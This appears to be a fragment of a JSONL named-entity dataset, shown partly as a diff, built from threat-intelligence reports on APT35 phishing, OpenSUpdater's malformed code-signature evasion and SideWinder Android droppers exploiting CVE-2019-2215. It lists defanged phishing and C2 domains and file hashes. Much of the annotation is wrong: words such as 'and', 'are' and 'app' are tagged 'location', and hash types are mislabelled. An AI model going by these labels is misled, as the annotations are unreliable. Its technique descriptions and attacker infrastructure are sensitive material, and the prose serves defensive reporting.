attack.","entities":[{"id":24923,"label":"attack-pattern","start_offset":11,"end_offset":19},{"id":24924,"label":"location","start_offset":79,"end_offset":83}],"relations":[],"Comments":[]} {"id":8035,"text":"In May 2020, we discovered that APT35 attempted to upload spyware to the Google Play Store.","entities":[],"relations":[],"Comments":[]} -{"id":8036,"text":"The app was disguised as VPN software that, if installed, could steal sensitive information such as call logs, text messages, contacts, and location data from devices.","entities":[{"id":24928,"label":"location","start_offset":100,"end_offset":104},{"id":24929,"label":"location","start_offset":136,"end_offset":139}],"relations":[],"Comments":[]} -{"id":8037,"text":"Google detected the app quickly and removed it from the Play Store before any users had a chance to install it.","entities":[{"id":24931,"label":"location","start_offset":32,"end_offset":35},{"id":24933,"label":"location","start_offset":90,"end_offset":96}],"relations":[],"Comments":[]} {"id":8038,"text":"Although Play Store users were protected, we are highlighting the app here as TAG has seen APT35 attempt to distribute this spyware on other platforms as recently as July 2021.","entities":[{"id":24935,"label":"location","start_offset":45,"end_offset":48},{"id":24936,"label":"threat-actor","start_offset":91,"end_offset":96}],"relations":[],"Comments":[]} {"id":8039,"text":"One of the most notable characteristics of APT35 is their impersonation of conference officials to conduct phishing attacks.","entities":[{"id":24939,"label":"location","start_offset":11,"end_offset":15},{"id":24941,"label":"attack-pattern","start_offset":107,"end_offset":115}],"relations":[],"Comments":[]} -{"id":8040,"text":"Attackers used the Munich Security and the Think-20 (T20) Italy conferences as lures in non-malicious first contact email messages to get users to respond.","entities":[{"id":24943,"label":"location","start_offset":35,"end_offset":38},{"id":24944,"label":"location","start_offset":58,"end_offset":63},{"id":24946,"label":"location","start_offset":108,"end_offset":115}],"relations":[],"Comments":[]} {"id":8041,"text":"When they did, attackers sent them phishing links in follow-on correspondence.","entities":[{"id":24947,"label":"location","start_offset":30,"end_offset":34},{"id":24948,"label":"attack-pattern","start_offset":35,"end_offset":43}],"relations":[],"Comments":[]} {"id":8042,"text":"Targets typically had to navigate through at least one redirect before landing on a phishing domain.","entities":[{"id":24950,"label":"location","start_offset":71,"end_offset":78},{"id":24951,"label":"attack-pattern","start_offset":84,"end_offset":92}],"relations":[],"Comments":[]} -{"id":8043,"text":"Link shorteners and click trackers are heavily used for this purpose, and are oftentimes embedded within PDF files.","entities":[{"id":24952,"label":"location","start_offset":16,"end_offset":19},{"id":24953,"label":"location","start_offset":35,"end_offset":38},{"id":24954,"label":"location","start_offset":70,"end_offset":73},{"id":24955,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]} -{"id":8044,"text":"We’ve disrupted attacks using Google Drive, App Scripts, and Sites pages in these campaigns as APT35 tries to get around our defenses.","entities":[{"id":24958,"label":"location","start_offset":57,"end_offset":60}],"relations":[],"Comments":[]} -{"id":8045,"text":"Services from Dropbox and Microsoft are also abused.","entities":[{"id":24962,"label":"location","start_offset":22,"end_offset":25},{"id":24964,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]} {"id":8046,"text":"One of APT35’s novel techniques involves using Telegram for operator notifications.","entities":[],"relations":[],"Comments":[]} {"id":8047,"text":"The attackers embed javascript into phishing pages that notify them when the page has been loaded.","entities":[{"id":24968,"label":"attack-pattern","start_offset":36,"end_offset":44},{"id":24969,"label":"location","start_offset":63,"end_offset":67},{"id":24970,"label":"location","start_offset":77,"end_offset":81}],"relations":[],"Comments":[]} -{"id":8048,"text":"To send the notification, they use the Telegram API sendMessage function, which lets anyone use a Telegram bot to send a message to a public channel.","entities":[{"id":24973,"label":"location","start_offset":134,"end_offset":140}],"relations":[],"Comments":[]} {"id":8049,"text":"The attackers use this function to relay device-based data to the channel, so they can see details such as the IP, useragent, and locales of visitors to their phishing sites in real-time.","entities":[{"id":24974,"label":"location","start_offset":83,"end_offset":86},{"id":24975,"label":"location","start_offset":126,"end_offset":129},{"id":24976,"label":"attack-pattern","start_offset":159,"end_offset":167},{"id":24977,"label":"location","start_offset":168,"end_offset":173},{"id":24978,"label":"location","start_offset":177,"end_offset":181},{"id":24979,"label":"location","start_offset":182,"end_offset":186}],"relations":[],"Comments":[]} -{"id":8050,"text":"We reported the bot to Telegram and they have taken action to remove it.","entities":[{"id":24981,"label":"location","start_offset":32,"end_offset":35},{"id":24982,"label":"location","start_offset":52,"end_offset":58}],"relations":[],"Comments":[]} {"id":8051,"text":"We warn users when we suspect a government-backed threat like APT35 is targeting them.","entities":[{"id":24983,"label":"threat-actor","start_offset":62,"end_offset":67},{"id":24984,"label":"location","start_offset":81,"end_offset":85}],"relations":[],"Comments":[]} -{"id":8052,"text":"Thousands of these warnings are sent every month, even in cases where the corresponding attack is blocked.","entities":[{"id":24986,"label":"location","start_offset":28,"end_offset":31}],"relations":[],"Comments":[]} -{"id":8053,"text":"If you receive a warning it does not mean your account has been compromised, it means you have been identified as a target.","entities":[{"id":24988,"label":"location","start_offset":80,"end_offset":85},{"id":24989,"label":"location","start_offset":116,"end_offset":122}],"relations":[],"Comments":[]} -{"id":8054,"text":"Workspace administrators are also notified regarding targeted accounts in their domain.","entities":[{"id":24990,"label":"location","start_offset":25,"end_offset":28}],"relations":[],"Comments":[]} -{"id":8055,"text":"Users are encouraged to take these warnings seriously and consider enrolling in the Advanced Protection Program or enabling two-factor authentication if they haven't already.","entities":[{"id":24991,"label":"location","start_offset":6,"end_offset":9},{"id":24992,"label":"location","start_offset":54,"end_offset":57}],"relations":[],"Comments":[]} -{"id":8056,"text":"We also block malicious domains using Google Safe Browsing – a service that Google's security team built to identify unsafe websites across the web and notify users and website owners of potential harm.","entities":[{"id":24997,"label":"location","start_offset":85,"end_offset":93},{"id":24998,"label":"location","start_offset":148,"end_offset":151},{"id":24999,"label":"location","start_offset":165,"end_offset":168}],"relations":[],"Comments":[]} -{"id":8057,"text":"When a user of a Safe Browsing-enabled browser or app attempts to access unsafe content on the web, they’ll see a warning page explaining that the content they’re trying to access may be harmful.","entities":[{"id":25001,"label":"location","start_offset":80,"end_offset":87},{"id":25002,"label":"location","start_offset":122,"end_offset":126},{"id":25003,"label":"location","start_offset":147,"end_offset":154},{"id":25004,"label":"location","start_offset":180,"end_offset":183}],"relations":[],"Comments":[]} {"id":8058,"text":"When a site identified by Safe Browsing as harmful appears in Google Search results, we show a warning next to it in the results.","entities":[],"relations":[],"Comments":[]} -{"id":8059,"text":"Threat Analysis Group will continue to identify bad actors and share relevant information with others in the industry, with the goal of bringing awareness to these issues, protecting you and fighting bad actors to prevent future attacks.","entities":[{"id":25008,"label":"location","start_offset":22,"end_offset":26},{"id":25009,"label":"location","start_offset":59,"end_offset":62},{"id":25010,"label":"location","start_offset":109,"end_offset":117},{"id":25011,"label":"location","start_offset":187,"end_offset":190}],"relations":[],"Comments":[]} {"id":8060,"text":"Indicators from APT28 phishing campaign: service-reset-password-moderate-digital.rf[.]gd reset-service-identity-mail.42web[.]io digital-email-software.great-site[.]net Indicators from APT35 campaigns: Abused Google Properties: https:\/\/sites.google[.]com\/view\/ty85yt8tg8-download-rtih4ithr\/ https:\/\/sites.google[.]com\/view\/user-id-568245\/ https:\/\/sites.google[.]com\/view\/hhbejfdwdhwuhscbsb-xscvhdvbc\/ Abused Dropbox Properties: https:\/\/www.dropbox[.]com\/s\/68y4vpfu8pc3imf\/Iraq&Jewish.pdf ","entities":[{"id":25012,"label":"threat-actor","start_offset":16,"end_offset":21},{"id":25013,"label":"attack-pattern","start_offset":22,"end_offset":30},{"id":25014,"label":"location","start_offset":31,"end_offset":39},{"id":25015,"label":"threat-actor","start_offset":185,"end_offset":190},{"id":25016,"label":"URL","start_offset":229,"end_offset":255},{"id":25017,"label":"location","start_offset":256,"end_offset":260},{"id":25018,"label":"URL","start_offset":292,"end_offset":318},{"id":25019,"label":"location","start_offset":319,"end_offset":323},{"id":25020,"label":"URL","start_offset":340,"end_offset":366},{"id":25021,"label":"location","start_offset":367,"end_offset":371},{"id":25022,"label":"malware","start_offset":410,"end_offset":417},{"id":25023,"label":"URL","start_offset":430,"end_offset":455}],"relations":[],"Comments":[]} {"id":8061,"text":"Phishing Domains: nco2[.]live summit-files[.]com filetransfer[.]club continuetogo[.]me accessverification[.]online customers-verification-identifier[.]site service-activity-session[.]online identifier-service-review[.]site recovery-activity-identification[.]site review-session-confirmation[.]site recovery-service-activity[.]site verify-service-activity[.]site service-manager-notifications[.]info ","entities":[{"id":25024,"label":"attack-pattern","start_offset":0,"end_offset":8},{"id":25025,"label":"location","start_offset":30,"end_offset":36}],"relations":[],"Comments":[]} {"id":8062,"text":"Android App: https:\/\/www.virustotal.com\/gui\/file\/5d3ff202f20af915863eee45916412a271bae1ea3a0e20988309c16723ce4da5\/detection Android App C2: communication-shield[.]site cdsa[.]xyz","entities":[],"relations":[],"Comments":[]} -{"id":8063,"text":"Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.","entities":[{"id":25027,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]} {"id":8064,"text":"Understanding the techniques used by attackers helps us counter these threats effectively.","entities":[],"relations":[],"Comments":[]} -{"id":8065,"text":"This blog post is intended to highlight a new evasion technique we identified, which is currently being used by a financially motivated threat actor to avoid detection.","entities":[{"id":25028,"label":"location","start_offset":10,"end_offset":14}],"relations":[],"Comments":[]} -{"id":8066,"text":"Attackers often rely on varying behaviors between different systems to gain access.","entities":[{"id":25029,"label":"location","start_offset":42,"end_offset":49}],"relations":[],"Comments":[]} -{"id":8067,"text":"For instance, attacker’s may bypass filtering by convincing a mail gateway that a document is benign so the computer treats it as an executable program.","entities":[{"id":25030,"label":"location","start_offset":25,"end_offset":28},{"id":25031,"label":"location","start_offset":67,"end_offset":74}],"relations":[],"Comments":[]} -{"id":8068,"text":"In the case of the attack outlined below, we see that attackers created malformed code signatures that are treated as valid by Windows but are not able to be decoded or checked by OpenSSL code — which is used in a number of security scanning products.","entities":[{"id":25032,"label":"location","start_offset":7,"end_offset":11},{"id":25033,"label":"location","start_offset":103,"end_offset":106},{"id":25035,"label":"location","start_offset":139,"end_offset":142},{"id":25037,"label":"location","start_offset":224,"end_offset":232}],"relations":[],"Comments":[]} {"id":8069,"text":"We believe this is a technique the attacker is using to evade detection rules.","entities":[],"relations":[],"Comments":[]} {"id":8070,"text":"Code signatures on Windows executables provide guarantees about the integrity of a signed executable, as well as information about the identity of the signer.","entities":[],"relations":[],"Comments":[]} -{"id":8071,"text":"Attackers who are able to obscure their identity in signatures without affecting the integrity of the signature can avoid detection longer and extend the lifetime of their code-signing certificates to infect more systems.","entities":[{"id":25039,"label":"location","start_offset":14,"end_offset":17},{"id":25040,"label":"location","start_offset":112,"end_offset":115},{"id":25041,"label":"location","start_offset":139,"end_offset":142}],"relations":[],"Comments":[]} -{"id":8072,"text":"OpenSUpdater, a known family of unwanted software which violates our policies and is harmful to the user experience, is used to download and install other suspicious programs.","entities":[{"id":25043,"label":"location","start_offset":78,"end_offset":81},{"id":25044,"label":"location","start_offset":137,"end_offset":140}],"relations":[],"Comments":[]} -{"id":8073,"text":"The actor behind OpenSUpdater tries to infect as many users as possible and while they do not have specific targeting, most targets appear to be within the United States and prone to downloading game cracks and grey-area software.","entities":[{"id":25046,"label":"location","start_offset":49,"end_offset":53},{"id":25047,"label":"location","start_offset":72,"end_offset":75},{"id":25048,"label":"location","start_offset":119,"end_offset":123},{"id":25050,"label":"location","start_offset":170,"end_offset":173},{"id":25051,"label":"location","start_offset":207,"end_offset":210}],"relations":[],"Comments":[]} -{"id":8074,"text":"Groups of OpenSUpdater samples are often signed with the same code-signing certificate, obtained from a legitimate certificate authority.","entities":[{"id":25053,"label":"location","start_offset":31,"end_offset":34},{"id":25054,"label":"location","start_offset":57,"end_offset":61}],"relations":[],"Comments":[]} {"id":8075,"text":"Since mid-August, OpenSUpdater samples have carried an invalid signature, and further investigation showed this was a deliberate attempt to evade detection.","entities":[{"id":25056,"label":"malware","start_offset":18,"end_offset":30},{"id":25057,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]} -{"id":8076,"text":"In these new samples, the signature was edited such that an End of Content (EOC) marker replaced a NULL tag for the 'parameters' element of the SignatureAlgorithm signing the leaf X.509 certificate.","entities":[{"id":25058,"label":"location","start_offset":67,"end_offset":74},{"id":25059,"label":"location","start_offset":175,"end_offset":179}],"relations":[],"Comments":[]} -{"id":8077,"text":"EOC markers terminate indefinite-length encodings, but in this case an EOC is used within a definite-length encoding (l= 13). ","entities":[{"id":25060,"label":"location","start_offset":63,"end_offset":67}],"relations":[],"Comments":[]} {"id":8078,"text":"Bytes: 30 0D 06 09 2A 86 48 86 F7 0D 01 01 0B 00 00","entities":[],"relations":[],"Comments":[]} -{"id":8079,"text":"Decodes to the following elements: SEQUENCE (2 elem) OBJECT IDENTIFIER 1.2.840.113549.1.1.11 sha256WithRSAEncryption (PKCS #1) EOC Security products using OpenSSL to extract signature information will reject this encoding as invalid.","entities":[{"id":25061,"label":"location","start_offset":132,"end_offset":140},{"id":25062,"label":"location","start_offset":197,"end_offset":201}],"relations":[],"Comments":[]} -{"id":8080,"text":"However, to a parser that permits these encodings, the digital signature of the binary will otherwise appear legitimate and valid.","entities":[{"id":25063,"label":"location","start_offset":87,"end_offset":91},{"id":25064,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]} -{"id":8081,"text":"This is the first time TAG has observed actors using this technique to evade detection while preserving a valid digital signature on PE files.","entities":[{"id":25066,"label":"location","start_offset":18,"end_offset":22}],"relations":[],"Comments":[]} {"id":8082,"text":"As shown in the following screenshot, the signature is considered to be valid by the Windows operating system.","entities":[],"relations":[],"Comments":[]} -{"id":8083,"text":"This issue has been reported to Microsoft.","entities":[{"id":25067,"label":"location","start_offset":5,"end_offset":10}],"relations":[],"Comments":[]} {"id":8084,"text":"Since first discovering this activity, OpenSUpdater's authors have tried other variations on invalid encodings to further evade detection.","entities":[{"id":25069,"label":"malware","start_offset":39,"end_offset":51}],"relations":[],"Comments":[]} {"id":8085,"text":"The following are samples using this evasion: https:\/\/www.virustotal.com\/gui\/file\/5094028a0afb4d4a3d8fa82b613c0e59d31450d6c75ed96ded02be1e9db8104f\/detection New variant: https:\/\/www.virustotal.com\/gui\/file\/5c0ff7b23457078c9d0cbe186f1d05bfd573eb555baa1bf4a45e1b79c8c575db\/detection","entities":[{"id":25070,"label":"location","start_offset":14,"end_offset":17},{"id":25071,"label":"SHA1","start_offset":46,"end_offset":156},{"id":25072,"label":"URL","start_offset":170,"end_offset":280}],"relations":[],"Comments":[]} -{"id":8086,"text":"Our team is working in collaboration with Google Safe Browsing to protect users from downloading and executing this family of unwanted software.","entities":[{"id":25074,"label":"location","start_offset":97,"end_offset":100}],"relations":[],"Comments":[]} -{"id":8087,"text":"Users are encouraged to only download and install software from reputable and trustworthy sources.","entities":[{"id":25075,"label":"location","start_offset":6,"end_offset":9},{"id":25076,"label":"location","start_offset":24,"end_offset":28},{"id":25077,"label":"location","start_offset":38,"end_offset":41},{"id":25078,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]} {"id":8088,"text":"Updated January 8, 2020 5PM EST with a video showing the exploit of CVE-2019-2215.","entities":[{"id":25080,"label":"TIME","start_offset":24,"end_offset":31},{"id":25081,"label":"location","start_offset":78,"end_offset":82}],"relations":[],"Comments":[]} -{"id":8089,"text":"We found three malicious apps in the Google Play Store that work together to compromise a victim’s device and collect user information.","entities":[{"id":25084,"label":"location","start_offset":106,"end_offset":109}],"relations":[],"Comments":[]} {"id":8090,"text":"One of these apps, called Camero, exploits CVE-2019-2215, a vulnerability that exists in Binder (the main Inter-Process Communication system in Android).","entities":[{"id":25087,"label":"location","start_offset":52,"end_offset":56},{"id":25088,"label":"malware","start_offset":106,"end_offset":111}],"relations":[],"Comments":[]} {"id":8091,"text":"This is the first known active attack in the wild that uses the use-after-free vulnerability.","entities":[],"relations":[],"Comments":[]} -{"id":8092,"text":"Interestingly, upon further investigation we also found that the three apps are likely to be part of the SideWinder threat actor group’s arsenal.","entities":[{"id":25090,"label":"location","start_offset":76,"end_offset":79},{"id":25091,"label":"location","start_offset":80,"end_offset":86},{"id":25093,"label":"location","start_offset":137,"end_offset":144}],"relations":[],"Comments":[]} -{"id":8093,"text":"SideWinder, a group that has been active since 2012, is a known threat and has reportedly targeted military entities’ Windows machines.","entities":[{"id":25096,"label":"location","start_offset":71,"end_offset":74}],"relations":[],"Comments":[]} -{"id":8094,"text":"The three malicious apps were disguised as photography and file manager tools.","entities":[{"id":25098,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]} {"id":8095,"text":"We speculate that these apps have been active since March 2019 based on the certificate information on one of the apps.","entities":[],"relations":[],"Comments":[]} {"id":8096,"text":"The apps have since been removed from Google Play.","entities":[],"relations":[],"Comments":[]} {"id":8097,"text":" Figure 1. The three apps related to SideWinder group Figure 2.","entities":[],"relations":[],"Comments":[]} {"id":8098,"text":"Certificate information of one of the apps Installation SideWinder installs the payload app in two stages.","entities":[],"relations":[],"Comments":[]} -{"id":8099,"text":"It first downloads a DEX file (an Android file format) from its command and control (C&C) server.","entities":[{"id":25111,"label":"location","start_offset":72,"end_offset":75}],"relations":[],"Comments":[]} {"id":8100,"text":"We found that the group employs Apps Conversion Tracking to configure the C&C server address.","entities":[],"relations":[],"Comments":[]} {"id":8101,"text":"The address was encoded by Base64 then set to referrer parameter in the URL used in the distribution of the malware.","entities":[],"relations":[],"Comments":[]} {"id":8102,"text":" Figure 3.","entities":[],"relations":[],"Comments":[]} {"id":8103,"text":"Parsed C&C Server address","entities":[],"relations":[],"Comments":[]} -{"id":8104,"text":"After this step, the downloaded DEX file downloads an APK file and installs it after exploiting the device or employing accessibility.","entities":[{"id":25113,"label":"location","start_offset":63,"end_offset":66}],"relations":[],"Comments":[]} {"id":8105,"text":"All of this is done without user awareness or intervention.","entities":[],"relations":[],"Comments":[]} -{"id":8106,"text":"To evade detection, it uses many techniques such as obfuscation, data encryption, and invoking dynamic code.","entities":[{"id":25114,"label":"location","start_offset":28,"end_offset":32},{"id":25115,"label":"location","start_offset":82,"end_offset":85}],"relations":[],"Comments":[]} -{"id":8107,"text":"The apps Camero and FileCrypt Manger act as droppers.","entities":[{"id":25117,"label":"location","start_offset":16,"end_offset":19}],"relations":[],"Comments":[]} {"id":8108,"text":"After downloading the extra DEX file from the C&C server, the second-layer droppers invoke extra code to download, install, and launch the callCam app on the device.","entities":[{"id":25120,"label":"location","start_offset":124,"end_offset":127},{"id":25121,"label":"malware","start_offset":139,"end_offset":146}],"relations":[],"Comments":[]} {"id":8109,"text":" Figure 4. Two-stage payload deployment Figure 5. Code showing how the dropper invokes extra DEX code To deploy the payload app callCam on the device without the user’s awareness","entities":[{"id":25125,"label":"malware","start_offset":129,"end_offset":136}],"relations":[],"Comments":[]} {"id":8110,"text":", SideWinder does the following: 1. Device Rooting This approach is done by the dropper app Camero and only works on Google Pixel (Pixel 2, Pixel 2 XL), Nokia 3 (TA-1032), LG V20 (LG-H990), Oppo F9 (CPH1881), and Redmi 6A devices.","entities":[{"id":25126,"label":"threat-actor","start_offset":2,"end_offset":12},{"id":25129,"label":"location","start_offset":101,"end_offset":104},{"id":25130,"label":"location","start_offset":105,"end_offset":109},{"id":25142,"label":"location","start_offset":211,"end_offset":214}],"relations":[],"Comments":[]} @@ -5192,32 +5701,21 @@ {"id":8112,"text":"Figure 6.","entities":[],"relations":[],"Comments":[]} {"id":8113,"text":"Code snippet from Extra DEX downloaded by Camero","entities":[],"relations":[],"Comments":[]} {"id":8114,"text":"We were able to download five exploits from the C&C server during our investigation.","entities":[],"relations":[],"Comments":[]} -{"id":8115,"text":"They use the vulnerabilities CVE-2019-2215 and MediaTek-SU to get root privilege.","entities":[{"id":25148,"label":"location","start_offset":38,"end_offset":42},{"id":25149,"label":"location","start_offset":43,"end_offset":46},{"id":25150,"label":"location","start_offset":66,"end_offset":70}],"relations":[],"Comments":[]} -{"id":8116,"text":" Figure 7. CVE-2019-2215 exploit Figure 8.","entities":[{"id":25152,"label":"location","start_offset":20,"end_offset":24}],"relations":[],"Comments":[]} {"id":8117,"text":"MediaTek-SU exploit","entities":[],"relations":[],"Comments":[]} {"id":8118,"text":"After acquiring root privilege, the malware installs the app callCam, enables its accessibility permission, and then launches it. Figure 9.","entities":[{"id":25154,"label":"location","start_offset":16,"end_offset":20},{"id":25155,"label":"malware","start_offset":61,"end_offset":68},{"id":25156,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]} {"id":8119,"text":"Commands","entities":[],"relations":[],"Comments":[]} -{"id":8120,"text":"install app, launch app, and enable accessibility","entities":[{"id":25158,"label":"location","start_offset":25,"end_offset":28}],"relations":[],"Comments":[]} -{"id":8121,"text":" 2. Device Rooting This approach is used by the dropper app FileCrypt Manager and works on most typical Android phones above Android 1.6.","entities":[{"id":25161,"label":"location","start_offset":79,"end_offset":82},{"id":25162,"label":"location","start_offset":92,"end_offset":96}],"relations":[],"Comments":[]} {"id":8122,"text":"After its launch, the app asks the user to enable accessibility.","entities":[],"relations":[],"Comments":[]} {"id":8123,"text":" Figure 10. Steps FileCrypt Manager prompts user to do","entities":[],"relations":[],"Comments":[]} {"id":8124,"text":"Once granted, the app shows a full screen window that says that it requires further setup steps.","entities":[],"relations":[],"Comments":[]} {"id":8125,"text":"In reality, that is just an overlay screen that is displayed on top of all activity windows on the device.","entities":[{"id":25165,"label":"identity","start_offset":20,"end_offset":24}],"relations":[],"Comments":[]} -{"id":8126,"text":"The overlay window sets its attributions to FLAG_NOT_FOCUSABLE and FLAG_NOT_TOUCHABLE, allowing the activity windows to detect and receive the users’ touch events through the overlay screen. Figure 11.","entities":[{"id":25166,"label":"location","start_offset":63,"end_offset":66},{"id":25167,"label":"location","start_offset":127,"end_offset":130}],"relations":[],"Comments":[]} {"id":8127,"text":"Overlay screen","entities":[],"relations":[],"Comments":[]} {"id":8128,"text":"Meanwhile, the app invokes code from the extra DEX file to enable the installation of unknown apps and the installation of the payload app callCam.","entities":[{"id":25169,"label":"location","start_offset":99,"end_offset":102},{"id":25170,"label":"malware","start_offset":139,"end_offset":146}],"relations":[],"Comments":[]} -{"id":8129,"text":"It also enables the payload app’s accessibility permission, and then launches the payload app.","entities":[{"id":25171,"label":"location","start_offset":60,"end_offset":63}],"relations":[],"Comments":[]} {"id":8130,"text":"All of this happens behind the overlay screen, unbeknownst to the user.","entities":[],"relations":[],"Comments":[]} -{"id":8131,"text":"And, all these steps are performed by employing Accessibility.","entities":[{"id":25172,"label":"location","start_offset":0,"end_offset":3},{"id":25173,"label":"location","start_offset":21,"end_offset":24}],"relations":[],"Comments":[]} -{"id":8132,"text":"Figure 12. Code enabling install of unknown apps and new APK Figure 13.","entities":[{"id":25175,"label":"location","start_offset":49,"end_offset":52}],"relations":[],"Comments":[]} {"id":8133,"text":"Code enable accessibility permission of the newly installed app","entities":[],"relations":[],"Comments":[]} -{"id":8134,"text":"The video below demonstrates payload deployment via CVE-2019-2215 on Pixel 2:","entities":[{"id":25177,"label":"location","start_offset":61,"end_offset":65}],"relations":[],"Comments":[]} {"id":8135,"text":" &amp;amp;amp;amp;nbsp; callCam’s Activities","entities":[{"id":25178,"label":"malware","start_offset":31,"end_offset":38}],"relations":[],"Comments":[]} {"id":8136,"text":"The app callCam hides its icon on the device after being launched.","entities":[],"relations":[],"Comments":[]} -{"id":8137,"text":"It collects the following information and sends it back to the C&C server in the background: Location Battery status Files on device Installed app list Device information","entities":[{"id":25180,"label":"location","start_offset":38,"end_offset":41},{"id":25181,"label":"location","start_offset":148,"end_offset":152}],"relations":[],"Comments":[]} {"id":8138,"text":"Sensor information Camera information Screenshot Account Wifi information","entities":[],"relations":[],"Comments":[]} {"id":8139,"text":"Data of WeChat, Outlook, Twitter, Yahoo Mail, Facebook, Gmail, and Chrome The app encrypts all stolen data using RSA and AES encryption algorithms.","entities":[{"id":25188,"label":"location","start_offset":63,"end_offset":66},{"id":25190,"label":"identity","start_offset":114,"end_offset":117},{"id":25191,"label":"location","start_offset":118,"end_offset":121}],"relations":[],"Comments":[]} -{"id":8140,"text":"It uses SHA256 to verify data integrity and customize the encoding routine.","entities":[{"id":25192,"label":"location","start_offset":40,"end_offset":43}],"relations":[],"Comments":[]} {"id":8141,"text":"When encrypting, it creates a block of data we named headData.","entities":[],"relations":[],"Comments":[]} {"id":8142,"text":"This block contains the first 9 bytes of origin data, origin data length, random AES IV, the RSA-encrypted AES encrypt key, and the SHA256 value of AES-encrypted origin data.","entities":[{"id":25194,"label":"identity","start_offset":93,"end_offset":96},{"id":25195,"label":"location","start_offset":124,"end_offset":127}],"relations":[],"Comments":[]} {"id":8143,"text":"Then the headData is encoded through the customized routine.","entities":[],"relations":[],"Comments":[]} @@ -5225,690 +5723,235 @@ {"id":8145,"text":" Figure 14.","entities":[],"relations":[],"Comments":[]} {"id":8146,"text":"Data encryption process Figure 15.","entities":[],"relations":[],"Comments":[]} {"id":8147,"text":"Customized encoding routine done Relation to SideWinder","entities":[],"relations":[],"Comments":[]} -{"id":8148,"text":"These apps may be attributed to SideWinder as the C&C servers it uses are suspected to be part of SideWinder’s infrastructure.","entities":[{"id":25199,"label":"location","start_offset":11,"end_offset":14},{"id":25201,"label":"location","start_offset":70,"end_offset":73}],"relations":[],"Comments":[]} {"id":8149,"text":"In addition, a URL linking to one of the apps’ Google Play pages is also found on one of the C&C servers.","entities":[],"relations":[],"Comments":[]} {"id":8150,"text":" Figure 16.","entities":[],"relations":[],"Comments":[]} {"id":8151,"text":"Google Play URL of FileManager app found in one of the C&C servers.","entities":[],"relations":[],"Comments":[]} -{"id":8152,"text":"Trend Micro Solutions Trend Micro solutions such as the Trend Micro™ Mobile Security for Android™ can detect these malicious apps.","entities":[{"id":25211,"label":"location","start_offset":28,"end_offset":33},{"id":25212,"label":"location","start_offset":62,"end_offset":67},{"id":25213,"label":"location","start_offset":69,"end_offset":75},{"id":25214,"label":"location","start_offset":76,"end_offset":84},{"id":25215,"label":"location","start_offset":98,"end_offset":101}],"relations":[],"Comments":[]} -{"id":8153,"text":"End users can also benefit from its multilayered security capabilities that secure the device owner’s data and privacy and safeguard them from ransomware, fraudulent websites, and identity theft.","entities":[{"id":25216,"label":"location","start_offset":10,"end_offset":13},{"id":25217,"label":"location","start_offset":49,"end_offset":57},{"id":25218,"label":"location","start_offset":107,"end_offset":110},{"id":25219,"label":"location","start_offset":119,"end_offset":122},{"id":25220,"label":"location","start_offset":133,"end_offset":137},{"id":25221,"label":"location","start_offset":176,"end_offset":179}],"relations":[],"Comments":[]} -{"id":8154,"text":"For organizations, the Trend Micro Mobile Security for Enterprise suite provides device, compliance, and application management, data protection, and configuration provisioning.","entities":[{"id":25222,"label":"location","start_offset":29,"end_offset":34},{"id":25223,"label":"location","start_offset":35,"end_offset":41},{"id":25224,"label":"location","start_offset":42,"end_offset":50},{"id":25225,"label":"location","start_offset":55,"end_offset":65},{"id":25226,"label":"location","start_offset":101,"end_offset":104},{"id":25227,"label":"location","start_offset":134,"end_offset":144},{"id":25228,"label":"location","start_offset":146,"end_offset":149}],"relations":[],"Comments":[]} -{"id":8155,"text":"It also protects devices from attacks that exploit vulnerabilities, prevents unauthorized access to apps, and detects and blocks malware and fraudulent websites.","entities":[{"id":25229,"label":"location","start_offset":106,"end_offset":109},{"id":25230,"label":"location","start_offset":118,"end_offset":121},{"id":25231,"label":"location","start_offset":137,"end_offset":140}],"relations":[],"Comments":[]} {"id":8156,"text":"Trend Micro’s Mobile App Reputation Service (MARS) covers Android and iOS threats using leading sandbox and machine learning technologies to protect users against malware, zero-day and known exploits, privacy leaks, and application vulnerabilities. Indicators of Compromise SHA256 Package Name\/File type App Name\/Detection Name ec4d6bf06dd3f94f4555d75c6daaf540dee15b18d62cc004e774e996c703cb34 DEX AndroidOS_SWinderSpy.HRXA a60fc4e5328dc75dad238d46a2867ef7207b8c6fb73e8bd001b323b16f02ba00 DEX AndroidOS_SWinderSpy.HRXA","entities":[{"id":25233,"label":"location","start_offset":14,"end_offset":20},{"id":25234,"label":"location","start_offset":45,"end_offset":49},{"id":25235,"label":"location","start_offset":66,"end_offset":69},{"id":25236,"label":"location","start_offset":104,"end_offset":107},{"id":25238,"label":"location","start_offset":181,"end_offset":184},{"id":25239,"label":"location","start_offset":216,"end_offset":219},{"id":25240,"label":"location","start_offset":306,"end_offset":310},{"id":25241,"label":"SHA1","start_offset":335,"end_offset":399},{"id":25242,"label":"SHA2","start_offset":430,"end_offset":494}],"relations":[],"Comments":[]} {"id":8157,"text":"0daefb3d05e4455b590da122255121079e83d48763509b0688e0079ab5d48886","entities":[{"id":25243,"label":"SHA1","start_offset":0,"end_offset":64}],"relations":[],"Comments":[]} {"id":8158,"text":"ELF AndroidOS_MtkSu.A 441d98dff3919ed24af7699be658d06ae8dfd6a12e4129a385754e6218bc24fa ELF AndroidOS_BinderExp.A ac82f7e4831907972465477eebafc5a488c6bb4d460575cd3889226c390ef8d5 ELF AndroidOS_BinderExp.A ee679afb897213a3fd09be43806a7e5263563e86ad255fd500562918205226b8 ELF AndroidOS_BinderExp.A 135cb239966835fefbb346165b140f584848c00c4b6a724ce122de7d999a3251 ELF","entities":[{"id":25244,"label":"MD5","start_offset":22,"end_offset":86},{"id":25245,"label":"SHA1","start_offset":113,"end_offset":177},{"id":25246,"label":"SHA1","start_offset":204,"end_offset":268},{"id":25247,"label":"SHA1","start_offset":295,"end_offset":359}],"relations":[],"Comments":[]} {"id":8159,"text":"AndroidOS_MtkSu.A a265c32ed1ad47370d56cbd287066896d6a0c46c80a0d9573d2bb915d198ae42 com.callCam.android.callCam2base callCamm","entities":[{"id":25248,"label":"SHA2","start_offset":18,"end_offset":82}],"relations":[],"Comments":[]} -{"id":8160,"text":"Package Name\/File type App Name\/Detection Name 